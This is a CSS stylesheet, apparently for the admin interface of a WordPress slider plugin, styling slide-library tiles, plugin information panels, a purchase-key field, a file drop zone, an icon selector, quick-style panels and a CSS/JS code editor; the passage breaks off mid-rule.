.rs_library_element { width: 267px; height: 190px; display: inline-block; margin-right: 20px;margin-bottom: 20px; cursor: pointer; box-sizing: border-box; position: relative; background:#2a2c2f; z-index:50; vertical-align: top}
.rs_library_element .rsle_footer {  position: absolute; bottom: 0px; left: 0px;  width:100%;height:40px; background:#2a2c2f;z-index: 5}
.rs_library_element.selected,
.rs_library_element:hover{ z-index: 502 !important; }

.rs_library_element.ui-draggable-dragging { z-index: 200000 !important; position: absolute; pointer-events: none; opacity:0.80 !important;}

.rs_library_element.ui-draggable-dragging .rsle_tbar  {display: none !important;  }
.rs_library_element .link_to_slideadmin, 
.rs_library_element .image_container { width: 100%; height: 150px; position: absolute; top: 0px;left: 0px; display: block; z-index: 10; background-size:cover; background-position: center center; background-repeat: no-repeat}
.rs_library_element .image_container_underlay {  z-index: 9; background: #2a2c2f; top: 0px;left: 0px; width: 100%;height: 150px; position: absolute }
.rs_library_element .image_container_underlay .rootfolder {  background: #2a2c2f; top: 0px;left: 0px; width: 100%;height: 150px; position: absolute }
.rs_library_element .image_container_underlay .rootfolder i.material-icons { font-size: 50px;
    text-align: center;
    color: #62666a;
    display: block;
    line-height: 50px !important;
    margin-bottom: 10px; 
    width: 100%;
    margin-top: 45px;
  }


.rs_library_element .link_to_slideadmin_a { z-index: 4; position: absolute; background: #fff; width: 50px;height: 50px;top: 0px;left: 0px; border-radius: 50% }
.rs_library_element .link_to_quickeditor,
.rs_library_element .link_to_quickstyleeditor { z-index:3; transform:translateX(30px) translateY(30px); position: absolute; top: -23px; left: -23px; border-radius: 50%; width: 30px;height: 30px; background:#fff;}

.rs_library_element .link_to_slideadmin .link_to_quickeditor i.material-icons,
.rs_library_element .link_to_slideadmin .link_to_quickstyleeditor i.material-icons { font-size: 13px;  line-height: 30px !important; font-size: 20px !important; text-align: center; }

.rs_library_element .link_to_slideadmin:hover .link_to_quickeditor { display: block; }

.rs_library_element.unpublished .unpublishslide { display: none; }
.rs_library_element.unpublished .publishslide { display: inline-block; }
.rs_library_element .unpublishslide { display: inline-block; }
.rs_library_element .publishslide { display: none; }

.rs_library_element .iconofunpublished { display: none !important; color: #b7bbc0;font-size: 12px;position: absolute;right: 30px;top: 11px;}
.rs_library_element.unpublished .iconofunpublished { display: inline-block !important }

.rs_library_element.selected .iconofunpublished,
.rs_library_element:hover .iconofunpublished { color: #fff; }


.folder_library_element .image_container_underlay { background: #2a2c2f; }

.folder_library_element:hover,
.folder_library_element.selected,
.folder_library_element.menuopen {background:#006dd2; }

.folder_library_element:hover .image_container_underlay,
.folder_library_element.selected .image_container_underlay,
.folder_library_element.menuopen .image_container_underlay {background:#006dd2; }
.folder_img_placeholder { display: inline-block; width: 126px; height: 68px; background: #323438; vertical-align: top; background-size: cover; background-position: center center; background-repeat: no-repeat }

.folder_library_element.menuopen .folder_img_placeholder,
.folder_library_element.selected .folder_img_placeholder,
.folder_library_element:hover .folder_img_placeholder { background-color: #00529d; }

.rs_library_element.folder_library_element .link_to_slideadmin { background: transparent !important; opacity: 0; width: 100%;height: 150px;top: 0px;left: 0px; margin: 0px; }
.folder_img_1,
.folder_img_3 { margin-right: 5px; margin-left: 5px; }
.folder_img_1,
.folder_img_2 { margin-bottom: 5px; margin-top:5px;}

.folder_library_element .show_rsle { opacity: 0 !important }

.folder_library_element .rsle_tool.embedslider,
.folder_library_element .rsle_tool.exporthtmlslider,
.folder_library_element .rsle_tool.exportslider { display: none; }


.rs_library_element .link_to_slideadmin {text-align: center ; z-index: 20; width: 50px; height: 50px; position: absolute; top: 50px; left: 50%; margin-left: -25px; background: #fff; border-radius: 35px; display:none; box-shadow:0px 3px 10px 0px rgba(0,0,0,0.25);}
.rs_library_element:hover .link_to_slideadmin,
.rs_library_element.selected .link_to_slideadmin,
.rs_library_element.menuopen .link_to_slideadmin,
.rs_library_element:hover .link_to_slides_overview,
.rs_library_element.selected .link_to_slides_overview,
.rs_library_element.menuopen .link_to_slides_overview { display: block; }
.rs_library_element .link_to_slideadmin i.material-icons{ font-size: 30px; color: #006dd2; line-height: 50px !important;  }

.rs_library_element .slide_order_number { position: absolute; left: 10px; top: 13px; color: #b7bbc0; font-size: 10px; pointer-events: none;  }


.rs_library_element:hover .slide_order_number,
.rs_library_element.selected .slide_order_number { color: #fff; }

.rs_library_element .link_to_slideadmin.pull_icon_left { margin-left: -55px; }
.rs_library_element .link_to_slides_overview { margin-left: 5px; }



.rs_library_element .title_container,
.rs_library_element .rs_library_el_next {  width: 245px; height: 40px; font-weight:500; line-height: 40px; position: absolute; bottom: 0px; left: 0px; font-size: 15px; color: #b7bbc0; padding: 0px 10px; background: transparent;box-sizing: border-box; border:none; outline:none; box-shadow: none; z-index: 2; margin:0px;}
.rs_library_element .title_container.slide_with_number { left: 20px; width: 225px; }
.rs_library_element .title_container_overlay { width: 100%; height: 40px; line-height: 40px; position: absolute; bottom: 0px; left: 0px; background: transparent; z-index: 5; }


.rs_library_element .rs_library_el_next { background:#006dd2; display: none; z-index: 20; pointer-events: none; color: #fff; }
.rs_library_element.selected .title_container,
.rs_library_element.selected .rsle_folder,
.rs_library_element.menuopen .title_container,
.rs_library_element.menuopen .rsle_folder,
.rs_library_element:hover .title_container,
.rs_library_element:hover .rsle_folder { color: #fff; }

.rs_library_element .rsle_move_and_edit { position: absolute; top: 0px; left: 0px; width: 100%; height: 165px;  z-index: 15; background:transparent; cursor:move;}
.rs_library_element:hover .rsle_move_and_edit,
.rs_library_element.selected .rsle_move_and_edit,
.rs_library_element.menuopen .rsle_move_and_edit { background: #006dd2; opacity: 0.65; }

.rs_library_element.selected .rsle_footer,
.rs_library_element.menuopen .rsle_footer,
.rs_library_element:hover .rsle_footer {  position: absolute; bottom: 0px; left: 0px;  width:100%;height:40px; background:#006dd2; z-index: 5}

.show_rsle { position:absolute; color:#fff; font-size:20px; text-align: right !important; padding-right: 10px;  box-sizing: border-box;line-height:40px !important; width: 100%; background: transparent; height: 40px; bottom: 0px; right: 0px; z-index: 20; display: none !important; }

.rsle_folder {     position: absolute;bottom: 0px;right: 0px;width: 100%;height: 40px;color: #b7bbc0;z-index: 20;font-size: 20px;line-height: 40px;text-align: right; padding-right:10px;}


.rs_library_element.menuopen .show_rsle,
.rs_library_element:hover .show_rsle { display: block !important; }

.rs_library_element.selected .show_rsle { transform: scaleY(-1); transform-origin: "50% 50%"; width: 40px; }
.rs_library_element.selected .rsle_folder { width: 40px; }

.folder_library_element .rsle_tool.copyclipboard,
.folder_library_element .rsle_tool.exportslider, 
.folder_library_element .rsle_tool.duplicateslider, 
.folder_library_element .rsle_tool.previewslider { display: none; }


#wpadmin_overlay { width: 160px; height: 100%; position: fixed; top: 35px; left: 0px; background: rgba(35,40,45,0.6); z-index: 1000; pointer-events: none; opacity: 0;}
#wpadmin_overlay_top { width: 100%; height: 35px; position: fixed; top: 0px; left: 0px; background: rgba(35,40,45,0.6); z-index: 100000; pointer-events: none; opacity: 0;}


.overview_slide_elements_overlay,
.overview_elements_overlay { background: transparent; width: 100%;height: 100%; top: 0px; left: 0px; position: absolute; z-index: 500; display:none;}
.overview_slide_elements.infocus .overview_slide_elements_overlay,
.overview_elements.infocus .overview_elements_overlay { display: block; }

.overview_slide_elements_overlay.infocus .rs_library_element,
.overview_elements.infocus .rs_library_element { opacity: 0.4!important }
.overview_slide_elements_overlay.infocus .rs_library_element.selected,
.overview_elements.infocus .rs_library_element.selected { opacity: 1!important }
.rsle_tbar { position: absolute;top: 100%;width: 100%; height: auto; padding: 5px; background: #006dd2;  box-sizing: border-box; color:#fff;  display:none;box-shadow: 0px 10px 20px 0px rgba(0,0,0,0.5)}

.rs_library_element.selected .rsle_tbar { display: block; }

.rsle_tool { width: 64px; height: 50px; display: inline-block; text-align: center; color: rgba(255,255,255,0.65); cursor: pointer;  }
.rsle_tool:hover { color: #fff; }
.rsle_tool i.material-icons { font-size: 17px;  display: block; }
.rsle_tool span { font-size: 12px; font-weight: 400; display:block;}


.rsle_tool_tagwrap{ display: none; }
.rs_library_element.in_tag_view .rsle_tool_tagwrap { display: block; }
.rs_library_element.in_tag_view .tagsslider { color:#fff !important;}
.rs_library_element .title_container:focus { z-index: 200; }


.rootlevel_wrap.rs_library_element {  height:165px;}
.rootlevel_wrap.rs_library_element .rsle_footer { display: none; }

.rootlevel_wrap:hover .image_container_underlay,
.rootlevel_wrap:hover .image_container_underlay .rootfolder { background: #006dd2; }


/* PLUGIN INFORMATIONS */

.plugin_inforow { display: table; visibility: hidden }
.pli_left { min-width: 430px; max-width: 430px; border-right: 1px solid #323438; padding-right: 80px; box-sizing: border-box; display: table-cell; }
.pli_right { display: table-cell; padding-left: 30px; width:100%;}
.pli_update_history { position: relative; display: block; width: 100%; height: 560px; overflow: hidden; margin-bottom:20px;}

.pli_update_history hr { display: none; }

.bugfix:before,
.change:before,
.newfeature:before {  font-family: 'Material Icons';font-weight: normal;font-style: normal;  display: inline-block;  text-transform: none;letter-spacing: normal;word-wrap: normal;white-space: nowrap;direction: ltr;vertical-align: top;font-feature-settings: 'liga';}


.pli_update_history .newfeature:before {font-family: 'Material Icons'; content:"star"; margin-right:20px;}
.pli_update_history .change:before {font-family: 'Material Icons'; content:"redo"; margin-right:20px;}
.pli_update_history .bugfix:before {font-family: 'Material Icons'; content:"bug_report"; margin-right:20px;}

.pli_update_history .change,
.pli_update_history .newfeature,
.pli_update_history .bugfix { color: #006dd2; font-size: 17px;  text-transform: capitalize; margin-top: 30px; font-weight: 500;}


.pli_update_history .change strong,
.pli_update_history .newfeature strong,
.pli_update_history .bugfix strong { font-weight: 400 !important }

.pli_update_history ul { padding-left: 20px; margin-bottom:30px;margin-top:20px;}
.pli_update_history li:before { display: block; float:left; content: " "; width: 5px; height: 5px; border-radius:3px; background: #006dd2; margin-right: 20px; position: absolute;  vertical-align: top; left:17px; top: 7px; }

.system_requirement,
.pli_update_history li { position:relative; color: #b7bbc0; font-size: 15px; line-height: 20px; font-weight: 400; padding-left: 40px; margin-bottom: 7px; }

#system_requirements { border: 1px solid #323438; padding: 30px; box-sizing: border-box;position: relative }
.system_requirement { padding: 0px;margin-bottom: 10px; font-weight: 500; white-space: nowrap; position: relative; ;}

#rs_overview .system_requirement>i.material-icons.warning_icon { display: none }
#rs_overview .system_requirement>i.material-icons { font-size: 25px; color: #00b900; margin-right:10px;}
#rs_overview .system_requirement.warning>i.material-icons { color: #ffb818; }
#rs_overview .system_requirement.warning>i.material-icons.done_icon { display: none }
#rs_overview .system_requirement.warning>i.material-icons.warning_icon { display: inline-block }


.pli_twoline { display: inline-block; vertical-align: top;  }
.pli_title { font-size: 20px; color: #fff; font-weight: 500; line-height: 30px; padding: 0px; margin: 0px 0px 35px; }
.pli_subtitle,
.pli_update_history h3.version-number { font-size: 17px; color: #797b7e; font-weight: 500; line-height: 25px; padding: 0px; margin: 0px; }

.pli_update_history h3.version-number { margin-bottom:20px; }

.dynamicval { color: #b7bbc0; }


grayiconbox { width: 50px; height: 50px; display: inline-block; background:#2a2c2f; color:#62666a; text-align: center; line-height: 50px; font-size: 30px; margin-right:20px; vertical-align: top;}
blueiconbox { width: 50px; height: 50px; display: inline-block; background:#0051b2; color:#62666a; text-align: center; line-height: 50px; font-size: 30px; margin-right:20px; vertical-align: top;}
blueiconbox.blueiconongray { margin-left: -34px;margin-top: 20px; }

darkiconbox { cursor:pointer; width: 50px; height: 50px; display: inline-block; background:transparent; border:1px solid #323438; box-sizing:border-box; color:#62666a; text-align: center; line-height: 50px; font-size: 30px; vertical-align: top;}
darkiconbox:hover { background: #323438; }


bluebutton { display:block; background:#006dd2; width: 100%; text-align: center; line-height: 50px; color: #fff; font-weight: 400;  font-size:17px;  cursor: pointer}
purplebutton { display:block; background:#642fb4; width: 100%; text-align: center; line-height: 50px; color: #fff; font-weight: 400;  font-size:17px;  cursor: pointer; border-radius: 4px}

bluebutton,
purplebutton,
graybutton { display:block; background:#393e45; width: 100%; text-align: center; line-height: 50px; color: #fff; font-weight: 400;  font-size:17px;  cursor: pointer; border-radius: 4px}

bluebutton { background:#006dd2;}
purplebutton { background:#642fb4;}

bluebutton:hover,
graybutton:hover { filter: brightness(110%); }


grayiconbox.warning { background:#ffb818 !important; color:#000 !important} 
grayiconbox.warning i.material-icons { color: #000 !important; }

grayiconbox.cwt_youtube { background: url(../images/socials/youtube.png); background-size: contain; }
grayiconbox.cwt_twitter { background: url(../images/socials/twitter.png); background-size: contain; }
grayiconbox.cwt_facebook { background: url(../images/socials/facebook.png); background-size: contain; }
grayiconbox.cwt_googleplus { background: url(../images/socials/googleplus.png); background-size: contain; }
grayiconbox.cwt_instagram { background: url(../images/socials/instagram.png); background-size: contain; }
grayiconbox.cwt_dribbble { background: url(../images/socials/dribbble.png); background-size: contain; }

.system_requirement darkiconbox { width: 30px; height: 30px; line-height: 30px; font-size: 20px; position: absolute; right: 30px; top: 0px; }

#cwt_socials a,
#cwt_socials a:focus { display: block; outline: none; cursor: pointer; text-decoration: none !important}

.cwt_link { white-space: nowrap }

#cwt_socials a:hover .pli_subtitle { color: #fff !important; }

.activate_to_unlock { display: none; }


#rs_overview i.material-icons.reset_select { display: none; color: #62666a; cursor: pointer; margin-right:5px;}
#rs_overview i.material-icons.reset_select:hover { color: #fff; }

bluebutton.disabled { pointer-events: none; background: #2a2c2f; color: #62666a; }
bluebutton.halfdisabled { background: #2a2c2f; color: #62666a;  cursor: pointer}
bluebutton.halfdisabled:hover { color: #797b7e; }

purplebutton.normal,
bluebutton.normal,
graybutton.normal  { border-radius:4px; width: 200px; display: inline-block }


purplebutton .material-icons { font-size: 17px; margin-right: 10px; }

bluebutton.minimal,
graybutton.minimal { border-radius:4px;height: 30px; line-height: 30px; padding: 0px 30px; display: inline-block; width: auto; font-size: 13px; font-weight: 400 }
#plugin_history .rs__scrollbar-y-rail:hover { background: transparent !important; }

.timeline-Widget { background: #202224; }

/*
PURCHASE KEY
*/

.pkey_info { color: #797b7e; font-size: 15px; line-height: 20px; font-weight: 500; text-align: center; }
.pkey_info a,
.pkey_info a:focus { color: #797b7e; }
.pkey_info a:hover { color: #fff; }

.infobox { border: 1px solid #323438; padding: 30px; box-sizing: border-box; width:100%;}
.whitetitle { color: #fff; font-size: 17px;  line-height: 20px; margin-bottom:20px; font-weight: 500}
.bluetitle { color: #006dd2; font-size: 17px;  line-height: 20px; margin-bottom:20px; font-weight: 500}
.simpletext { color: #b7bbc0; line-height: 20px; font-size: 15px; font-weight: 400; }

.simpletext a,
.simpletext a:focus { color:#b7bbc0}

.simpletext a:hover { color: #fff; }

.simpletext.smalllink,
.simpletext.smalllink:visited { font-size: 13px  }

.simpletext.smalllink:hover,
.simpletext.smalllink:focus { color: #fff !important; }

#purchasekey_wrap { position: relative }
#hide_purchasekey { position: absolute; display:none; pointer-events: none; box-sizing:border-box; top:0px; left:0px; width:100%; font-size: 17px;color: #b7bbc0;background: none;border: 1px solid #323438;outline: none;box-shadow: none;font-weight: 500;line-height: 50px;padding: 0px 20px;width: 100%; }

#purchasekey_wrap.activated #hide_purchasekey { display: block; }
#purchasekey_wrap.activated #purchasekey    { visibility: hidden }

#purchasekey_wrap.activated:hover #purchasekey { visibility: visible; }
#purchasekey_wrap.activated:hover #hide_purchasekey { display: none; }

.rs_new { background: #f82c90; color: #fff; font-size: 13px; font-weight: 500; padding: 0px 5px; display: inline-block; margin-left: 10px; border-radius: 4px }


/*
FEATURE INFO BOX
*/
blueicon     { width: 50px;  position: absolute; left: 0px;top: 10px; background:transparent; color:#006dd2; text-align: center;  font-size: 30px; }
.features_wrapper { display: block; width: 100%; margin-bottom:40px;}
.featurebox  { display: inline-block; min-width:285px;   max-width:400px; width:50%; padding-right: 20px; box-sizing: border-box; position: relative; vertical-align: top;margin-bottom: 20px; }
.featureinfo { display: inline-block; padding-left:70px; }


a.graylink,
a.graylink:focus { background: #2a2c2f; color: #797b7e; font-size:15px;  padding:0px 20px; line-height: 30px; cursor: pointer;display: inline-block;text-decoration: none;}
a.graylink:hover { background: #006dd2; color: #fff; }


.warning { color: #ffb818; }


/* BREADCRUMBS IN CASE NEEDED */


.rsl_breadcrumb_wrap { display: block; width: 100%; margin-bottom: 45px; border-top: 1px solid #323438; padding-top:15px; }
.rsl_breadcrumb { display:inline-block; line-height:25px; vertical-align: top; color: #797b7e; font-size: 15px; margin-right:30px; cursor: pointer; font-weight: 500}
.rsl_breadcrumb i.material-icons { display:inline-block; line-height:25px !important; vertical-align: top;  font-size: 25px !important; margin-right: 10px;  }
.rsl_breadcrumb_div { display: inline-block; color: #323438; margin-right: 30px; font-size: 25px; line-height: 25px !important; vertical-align: top }

.rsl_breadcrumb:hover { color: #fff; }


/****************************
  -FULLPAGE INFO - 
****************************/
#fullpageinfo { position: fixed; background: rgba(50,52,56,0.85); width: 100%; height: 100%; top: 0px; left: 0px; z-index: 500000; color: #777c80;font-size: 14px; font-weight: 400; }
#fullpageinfo_zone { width: 800px; min-height: 450px; box-sizing: border-box; padding:0px 20px; transform:translateX(-50%) translateY(-50%); top:50%;left:50%; position: absolute;  text-align: left}

i.fullpage_main_icon.material-icons { color: #777c80; font-size: 50px !important; position: absolute;left: -50px;top: 0px; }
.fullpage_title { color: #fff; font-weight: 500; font-size: 17px;  line-height: 25px; margin-bottom:30px;}
#fullpageinfo b { font-weight: 500; color: #b7bbc0; }

.fullpage_content { margin-bottom: 15px; }

#fullpageinfo .inputtocopy {  border:none; box-shadow:none;line-height: 40px; font-size: 17px; color: #b7bbc0; font-weight: 500; padding: 0px 10px; background: #2a2c2f; border-radius: 0; outline: none; margin: 0px; display:block; width:100%;}
#fullpageinfo .inputrow { position: relative; display: block; }
#fullpageinfo .inputrow .basic_action_button { position: absolute; top: 0px; right: 0px; width: 40px; height: 40px; border-radius: 0px; line-height: 40px; font-size: 20px; background: #006dd2 }
#fullpageinfo .inputrow .basic_action_button i { color: #fff; }

/****************************
  - FILE DROP ZONE - 
****************************/
#filedrop{ position: fixed; background: rgba(50,52,56,0.85); width: 100%; height: 100%; top: 0px; left: 0px; z-index: 500000; }
#filedrop_zone { width: 800px; min-height: 450px; box-sizing: border-box; padding:100px 100px; border:2px dashed #62666a; transform:translateX(-50%) translateY(-50%); top:50%;left:50%; position: absolute; border-radius: 8px; text-align: center}

.editordrop #filedrop_zone { background: rgba(0,0,0,0.35);  border-color:#fff !important; border-radius: 0px;}
.editordrop #filedrop_zone.is-dragover,
.editordrop #filedrop_zone.is-processing { background:rgba(0,0,0,0.65) !important;}

.big_filedrop_icon { color:#777c80; font-size: 50px !important; line-height: 50px !important;margin-bottom: 30px !important;}


.editordrop .big_filedrop_icon { color: #fff; }
.editordrop .filedrop_state_idle,
.editordrop .filedrop_state_drop,
.editordrop .filedrop_state_process { transform: translateY(-50%); top: 50%; position: relative; color: #fff; }

#fullpage_close,
#filedrop_close { position: absolute; top: -30px;right: -30px; cursor: pointer;  }
@media (max-height: 715px){ #fullpage_close { top: -10px } }
.editordrop #filedrop_close { top: 15px;right: 15px;  }

#fullpage_close i.material-icons,
#filedrop_close i.material-icons { color:#fff; font-size: 30px !important; line-height: 30px !important;}

.filedrop_line_1 { color: #fff; font-size: 17px; line-height: 25px; font-weight: 600; margin-bottom:5px;}
.filedrop_line_2 { color: #777c80; font-size: 17px; line-height: 25px; font-weight: 600;margin-bottom:5px; }
.filedrop_clickbtn { color: #fff; font-size: 15px; line-height: 40px; padding:0px 30px; font-weight: 500;background: #006dd2; display: inline-block; cursor: pointer; }

.editordrop .filedrop_line_2  { color: #fff; }
#filedrop .uploadfileinput {
    width: 0.1px;
    height: 0.1px;
    opacity: 0;
    overflow: hidden;
    position: absolute;
    z-index: -1;
}

/* STATES */

.filedrop_state_process,
.filedrop_state_drop { display: none; pointer-events: none }

.filedrop_state_process .big_filedrop_icon.rotating {animation:rsrotating 1s linear infinite}
.filedrop_state_process #file_upload_processicon { color: #006dd2; }
.filedrop_state_process #file_upload_processicon.error { color: #ffb818; }
.filedrop_state_process #file_upload_processicon.done { color: #00b900; }

.fileupload_status.rotating { animation:rsrotating 1s linear infinite; color: #006dd2; }
.fileupload_status.doneupload { color: #00b900; }

@keyframes rsrotating {
  0% { transform: rotate(0deg); }
  100% { transform: rotate(360deg); }
}

.fileupload_message,
.fileupload_status.errorupload { color: #ffb818; }

.fileupload_message { margin-left: 10px; }
.fileupload_status { margin-left: 5px; }

.fileupload_status

.filedrop_state_process .big_filedrop_icon,
.filedrop_state_drop .big_filedrop_icon { color: #006dd2; }

#filedrop_zone.is-dragover { border-color: #fff; }


#filedrop_zone.is-dragover .filedrop_state_process,
#filedrop_zone.is-dragover .filedrop_state_idle { display: none; }
#filedrop_zone.is-dragover .filedrop_state_drop { display: block; }



#filedrop_zone.is-processing .filedrop_state_idle,
#filedrop_zone.is-processing .filedrop_state_drop { display: none; }
#filedrop_zone.is-processing .filedrop_state_process { display: block; }



/****************************
  - ICON SELECTOR CONTAINER -
****************************/
#rs_iconselector {   box-sizing: border-box; background:#2a2c2f; box-shadow: 0px 3px 10px rgba(0,0,0,0.25); z-index: 1000; position: absolute;  display:none; overflow:hidden;}
#text_button_layer_content_wrapper #rs_iconselector { width:280px; height:305px; top:20px; left:20px;}

#rs_iconselector_inner { overflow: hidden; width: 100%; height: 100%; box-sizing: border-box; position: absolute; top: 40px;  }
#text_button_layer_content_wrapper #rs_iconselector_inner { height:275px;}
.closers_iconselector { background:#2a2c2f; position: absolute; font-size: 20px; width: 40px; height: 40px; color: #777c80; cursor: pointer; right:0px;top:0px;    text-align: center;line-height: 40px !important; border-left:1px solid #323438;}
.closers_iconselector:hover { color: #fff; }

#rs_iconselector .font_icon_subcontainer { border-bottom: 1px solid #323438; }

#rs_iconselector .font_icon_subcontainer .font_icon_subcontainer_title { text-align: center; color: #777c80; font-size: 13px; font-weight: 900; line-height: 30px; border-bottom: 1px solid #323438;  text-transform: uppercase}
#rs_iconselector .font_icon_subcontainer i { color: #b7bbc0; font-size: 20px; line-height: 40px !important; width: 40px; height: 40px; display: inline-block; text-align: center; cursor: pointer}
#rs_iconselector .font_icon_subcontainer i:hover { background: #006dd2; color: #fff; }

.rs_iconselector_header { background: #2a2c2f; position: absolute; top: 0px; left: 0px; line-height: 40px; height: 40px; width: 100%; border-bottom: 1px solid #323438; }
#rb_tlw .rs_iconselector_header input[type=text] { line-height: 40px !important; margin: 0 !important;  width:100%; height:40px;}

/****************************
  - QUICK STYLE  CONTAINER -
****************************/

#quick_style {  position: fixed; top:0px; height:100%; right:0px; width:0px; box-sizing: border-box; z-index: 9500; padding-top:50px; display:none;overflow:hidden; box-shadow:-10px 20px 40px 0px rgba(0,0,0,0.35);}
#quick_style_inner {  position: absolute; width: 320px; min-height: 100%; top: 0px; left: -200px; box-sizing: border-box; }
#quick_style_menu { background: #202224;line-height: 50px; padding: 0px 20px; color: #777c80; font-size: 12px; font-weight: 400; border-bottom: 1px solid #2a2c2f; z-index: 20; position: relative}
.quick_style_menu_point { display: inline-block; margin-right:20px; cursor: pointer; text-transform: capitalize}
.quick_style_menu_point:hover,
.quick_style_menu_point.active { color: #fff; }


#quick_style_close { position: absolute; line-height: 50px; right: 0px; top: 0px; width: 50px; height: 50px; text-align: center; cursor: pointer }
#quick_style_close:hover { color: #fff; }

#quick_style_scrollable_wrap { width: 100%; height:100%; padding-top: 50px; position: absolute; box-sizing: border-box;top:0px; z-index: 5; overflow:hidden;}

#quick_style_scrollable { width: 100%; height:100%; position: relative; box-sizing: border-box;background: #202224;}

.quick_style_dep { line-height: 30px; border-bottom: 1px solid #2a2c2f; font-size: 11px; font-weight: 500; text-transform: uppercase; padding: 0px 20px; background: #1b1d1e; color: #777c80; }

.quick_style_example_wrap {  background: #202224; height: 100px; border-bottom:1px solid #2a2c2f;  position: relative; box-sizing:border-box; overflow: hidden; cursor: pointer; vertical-align: top}
.quick_style_example { padding:0px 20px; height:100%; position: relative;}

.quick_style_example_content { color: #fff;vertical-align: top; transform: translateY(-50%); top: 50%; position: absolute; box-sizing: border-box;overflow-wrap: break-word;word-wrap: break-word;hyphens: auto; max-width:285px;}
.quick_style_example_content.rev-btn { transform: translateY(-50%) translateX(-50%); left: 50%; white-space: nowrap; }


.quick_style_example_content * { color: inherit; }

.qsew_half { width: 50%; display: inline-block }
.qsew_third { width: 33.333%; display: inline-block }
.qsew_fourth { width: 25%; display: inline-block }

.qsew_half .quick_style_example_content,
.qsew_third .quick_style_example_content,
.qsew_fourth .quick_style_example_content { transform: translateX(-50%) translateY(-50%); top:50%; left:50%; white-space: nowrap;}

.qsec_info { background: #006dd2;color: #fff; font-size: 11px; font-weight: 500; text-transform: uppercase; line-height: 18px; padding: 0px 5px; position: absolute; top:0px; left:20px; z-index: 4; display: none}

.quick_style_example_wrap:hover { background: #2a2c2f; }
.quick_style_example:hover .qsec_info  { display:block;}

#quick_style_dep_headlines .quick_style_example:after { position: absolute;top: 0px; right: 0px; width: 40px; height:100%; content: " "; background: linear-gradient(to right, rgba(32,34,36,0) 0%,rgba(32,34,36,1) 75%); }
#quick_style_dep_headlines.dark .quick_style_example:after { background: linear-gradient(to right, rgba(255,255,255,0) 0%,rgba(255,255,255,1) 75%); }
#quick_style_dep_headlines.dark .quick_style_example_wrap { border-bottom-color: #b7bbc0; }


.qse_boxshadow {  width: 60px; height: 60px; background: #b7bbc0; padding: 0px; top: 20px; left: 50px; }
.qse_textshadow { font-size: 20px; font-family: roboto; font-weight: 500;   white-space: nowrap; color: #fff;  text-align: center; line-height: 100px}



/****************************
  - GLOBAL COLOR PICKER - 
****************************/
#rbm_colorskins { width: 390px; }
#rbm_colorskins .rbm_content { padding: 30px; }
#rbm_colorskins .mcg_page {display: none;width: 100%;height: 100%;position: absolute;top: 0px;left: 0px;box-sizing: border-box; padding:75px 120px;background-color:#212226;}
#rbm_colorskins .mcg_page.mcg_selected { display: block; }

#rb_tlw input[type=text].globalskin_alias { width: 170px; margin-right: 5px; }
#rb_tlw .revbuilder-colorpicker.visible-cp-input { width: 120px; }
#rb_tlw .revbuilder-colorpicker.visible-cp-input input { width: 90px;margin: -7px 0px;}

.modal_fields_title { font-size: 14px; line-height: 30px; vertical-align: top; margin-bottom: 15px; font-weight: 900; color: #b7bbc0; display: inline-block }

.global_sas_wrap { position:absolute; bottom:0px; left:0px; text-align: center;width: 100%; padding: 10px 0px 0px; border-top: 1px solid #3f4449; }


/****************************
  - CSS / JS  API - 
****************************/
#rbm_slider_api .rbm_header { z-index: 10; }
.modal_header_functions {     margin-left: 50px;display: inline-block;vertical-align: top;left: 50%;position: absolute;transform: translateX(-50%);top: 0px; }
.js_css_editor_tabs { display: inline-block; padding: 0px 10px; cursor: pointer;  vertical-align: top;}
.js_css_editor_tabs:hover { color: #fff; }
.js_css_editor_tabs.selected { background: #006dd2; color:#fff;}
.codes_css_js_inputs { width: 100% !important; height: 500px !important; margin: 0px !important; }
#rbm_slider_api .rbm_content { height: 500px; display: block; position: relative; z-index: 10; }

.emc_toggle_wrap { position: absolute; right: -40px; height: 100%; min-width: 30px;width: 350px; z-index: 1;  top:0px; height:551px;border-left:1px solid #000;  transition:right 0.5s}
.emc_toggle_wrap:after { content: ""; position: absolute; top: 0px;left: 0px; width: 100%; height: 50px; background: #2a2c2f; z-index:20;}
#emc_toggle { position: absolute; right: 0px; width: 40px; top: 280px; height: 40px; color: #b7bbc0; font-size: 20px; cursor: pointer; text-align: center;  z-index: 20; line-height: 40px !important}

.emc_toggle_info { position: absolute;font-size: 13px;color: #b7bbc0;line-height: 16px;top: 225px;left: auto;right: 0px;width: 40px;z-index: 100;text-align: center; }

.emc_toggle_inner { position: absolute; top: 0px; left: 0px; width: 350px; height: 551px; overflow: hidden; }

#emc_toggle:hover { color: #fff; }

#form_slidergeneral_advanced_api { padding: 0px; background: #3f444a; /*#323438;*/ padding-top: 70px;  }
#form_slidergeneral_advanced_api .form_inner_header { display: block;  background: transparent; height:50px; line-height: 50px; text-align: center; }
#form_slidergeneral_advanced_api .form_inner_header i { margin-right: 15px; }
#form_slidergeneral_advanced_api .collapsable { padding:30px; width: 280px; }

#rs_css_js_area .RevMirror { height: 500px !important; box-sizing: border-box !important; background: #323438 !important; padding-top:10px !important; line-height: 20px !important;}
#rs_css_js_area .cm-s-hopscotch .RevMirror-gutters { background: #323438 !important; padding-right:10px !important;  border-right: 1px solid #202224 !important; }
#rbm_slider_api i.rbm_close.material-icons { line-height: 50px !important; z-index: 30 !important; width: 40px !important;  background: #2a2c2f !important}


#rs_css_js_area .RevMirror .RevMirror-sizer { border-left: 10px solid transparent;}
#rs_css_js_area .RevMirror .RevMirror-gutter-wrapper { transform:translateX(-10px);}

#custom_css_hover_layer_area .RevMirror,
#custom_css_layer_area .RevMirror { height: 200px !important;box-sizing: border-box !important; background: #2a2c2f !important; padding-top:0px !important; line-height: 20px !important; }

#custom_css_hover_layer_area .RevMirror-lines,
#custom_css_layer_area .RevMirror-lines  { padding: 4px 10px; }
.custom_css_layer_area_pre { line-height: 20px;  color: #777c80; padding: 10px; font-size: 13px;   }
.css_opening_closing_bracket { line-height: 20px; color: #b7bbc0; padding: 5px 10px; font-size: 13px; background: #2a2c2f !important; font-weight: 600; }

#rs_css_js_area .RevMirror-linenumber { min-width:21px;}

.emc_toggle_wrap.open { right: -351px; }
.emc_toggle_wrap.open #emc_toggle { transform: scaleX(-1); }
.emc_toggle_wrap:hover #form_slidergeneral_advanced_api { background:#202224 }
.emc_toggle_wrap.open #form_slidergeneral_advanced_api { background: #202224; }


.show_more_toggle { margin: 12px 0px; position:relative; height:12px; width: 100%;}
.show_more_toggle .shmt_textmore,
